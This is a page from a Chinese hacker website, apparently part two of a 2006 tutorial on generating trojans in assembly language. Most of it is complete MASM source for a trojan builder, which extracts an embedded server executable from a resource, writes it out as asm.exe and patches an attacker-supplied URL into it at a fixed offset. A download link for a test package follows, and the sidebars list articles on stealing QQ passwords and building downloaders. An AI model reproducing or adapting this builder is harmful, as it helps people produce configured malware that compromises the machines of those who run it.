黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图
您现在的位置: 黑客风云 >> 黑客文章 >> 黑客进阶 >> 黑客编程 >> 文章正文
[组图]汇编实现木马生成技术
        ★★★★★
汇编实现木马生成技术
文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2006-12-28
 
然后,我们了解win32API中,关于对资源查找的几个API是FindResource,SizeofResource,LoadResource, GlobalAlloc,LockResource..关于函数的参数定义,大家可以参考MSDN.首先调用FindResource查找你定义的资源 ID,这里我定义是 "ASM equ 1002",找到资源自然会返回一个句柄,接着SizeofResource获取资源的大小,为什么要获取,因为在后面WriteFile写文件的时候需要...然后LoadResource装载我们的资源.当然拉,我们还要给这个二进制的数据分配一个内存快,GlobalAlloc...最后, LockResource锁定资源,成功的话返回一个句柄,我们可以利用这个句柄,直接把二进制的服务端导出成了一个exe文件,然后在利用上面例子中客户端的代码,进行修改,就可以生成了...代码如下:
;******************************************************
;程序编写by Asm
;日期:2006-12-27日
;出处:[url]http://www.wolfexp.net/[/url](红狼安全小组)
;注意事项:如欲转载,请保持本程序的完整,并注明:
;转载自 红狼安全小组([url]http://www.wolfexp.net/[/url])
;******************************************************
.386
.model flat, stdcall
option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib

MapViewFile PROTO :LPSTR ;函数声明

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ICO_MAIN equ 1000h ;图标
DLG_MAIN equ 1
IDC_URL equ 1001
ASM equ 1002
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance dd ?
hWindws dd ?
hFile dd ?
pMapView dd ?
hMapView dd ?
.data
szUrl db 156 dup(0)
szText db '成功生成',0
szCaption db '恭喜',0
szFileName db 'asm.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;修改指定偏移地址处的数据子程序
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
MapViewFile proc uses ebx esi edi,lpProcessAddress:LPSTR
mov edi,lpProcessAddress ;获取初始地址
add edi,000800h  ;获取字符串地址
invoke lstrcpy,edi,addr szUrl ;修改,等关闭句柄,系统自动保存
ret
MapViewFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_Process proc
invoke CreateFile,addr szFileName,GENERIC_READ or GENERIC_WRITE,\ ;打开它
FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL,NULL
.if eax!=INVALID_HANDLE_VALUE
mov hFile, eax ;保存句柄
invoke CreateFileMapping,hFile,NULL,PAGE_READWRITE,0,0,NULL ;建立内存共享
.if eax!=NULL
mov hMapView,eax ;保存句柄
invoke MapViewOfFile,hMapView,FILE_MAP_WRITE,0,0,NULL ;读取内存共享
.if eax!=NULL
mov pMapView,eax ;保存句柄
invoke MapViewFile,pMapView ;修改服务端内存里内容
.endif
invoke UnmapViewOfFile,pMapView ;解除文件映射
.endif
invoke CloseHandle,hMapView ;关闭内存映射文件
.endif
invoke CloseHandle,hFile ;关闭文件
ret
_Process endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcDlgMain proc uses ebx edi esi hWnd,wMsg,wParam,lParam
 LOCAL hRsrc,hResData,dwSize,dwSizeWritten,lpData,lpRes
 mov eax,wMsg
 .if eax == WM_CLOSE
 invoke EndDialog,hWnd,NULL
 .elseif eax == WM_INITDIALOG
 invoke LoadIcon,hInstance,ICO_MAIN
 invoke SendMessage,hWnd,WM_SETICON,ICON_BIG,eax
 .elseif eax == WM_COMMAND
 mov eax,wParam
 .if ax == IDOK
 invoke GetDlgItemText,hWnd,IDC_URL,addr szUrl,sizeof szUrl ;获得szUrl内容
 invoke FindResource,NULL,ASM,RT_RCDATA ;查找ASM资源
 mov hRsrc,eax
 invoke SizeofResource,NULL,hRsrc ; 获取资源长度
 mov dwSize,eax
 invoke LoadResource,NULL,hRsrc ;装载资源
 mov hResData,eax
 invoke GlobalAlloc,GPTR,dwSize ;给数据分配内存
 mov lpData,eax
 invoke LockResource,hResData ;锁定它
 mov lpRes,eax
 invoke CreateFile,offset szFileName,GENERIC_WRITE,FILE_SHARE_READ,\
 NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL ;打开文件
 .if eax != NULL
 mov hFile,eax
 invoke WriteFile,hFile,lpRes,dwSize,addr dwSizeWritten,NULL  ;把二进制写进去
 invoke CloseHandle,hRsrc
 invoke CloseHandle,hResData
 invoke CloseHandle,hFile
 invoke GlobalFree,lpData
 .endif
 call _Process ;开始配置
 invoke MessageBox,hWnd,offset szText,offset szCaption,MB_OK
 .endif
 .else
 mov eax,FALSE
 ret
 .endif
 mov eax,TRUE
 ret

_ProcDlgMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
 invoke GetModuleHandle,NULL
 mov hInstance,eax
 invoke DialogBoxParam,hInstance,DLG_MAIN,NULL,offset _ProcDlgMain,NULL
 invoke ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
 end start


测试如图:

点击下载mumatest.rar

上一页  [1] [2] 

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    VIP 专 区
    抽根憋闷烟的心声
    学习网页制作的理由
    加入终身会员的理由!!!
    学习黑客编程的5大理由
    学习免杀的6大理由
    学习软件破解的理由
    会员账号开通查询
    常见问题解答
    汇款向导
    学员报名咨询
    最 新 热 门
    Visual C++编程窃取QQ密码12-08
    编程实现重起网卡等设备12-07
    一个邮件群发的Delphi代码!12-06
    Delphi下Internet的编程技巧11-20
    Delphi黑客编程-如何映射虚拟盘11-15
    用DETOURS库获取NT管理员权限11-08
    一篇关于vb代码质量提高的文章10-30
    解析Asp.net木马文件操作10-04
    盗QQ源码10-01
    如何映射肉鸡磁盘(Delphi黑客编程09-24
    打造无DLL版穿墙Downloader(Delp09-22
    调用指定的Windows程序(Delphi编09-19
    相 关 文 章
  • 独享网络通道 无线VPN组网技术全面解析

  • 黑客初级技术概述

  • 金睛火眼—进程中判断出病毒和木马

  • 无线局域网嗅探技术与防范策略

  • 如何防御网络游戏外挂木马

  • 安全无价 带你揭秘联通无线VPN组网技术

  • 打造不死的asp木马

  • 黑客技术-ARP欺骗

  • 木马驻留系统的几种方式

  • 如何清除"雨薇在线"木马

  • 木马 ctfnom.exe TIMPlatform.exe TIMP

  • 游戏木马检测大师保你游戏密码永不丢

  • Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886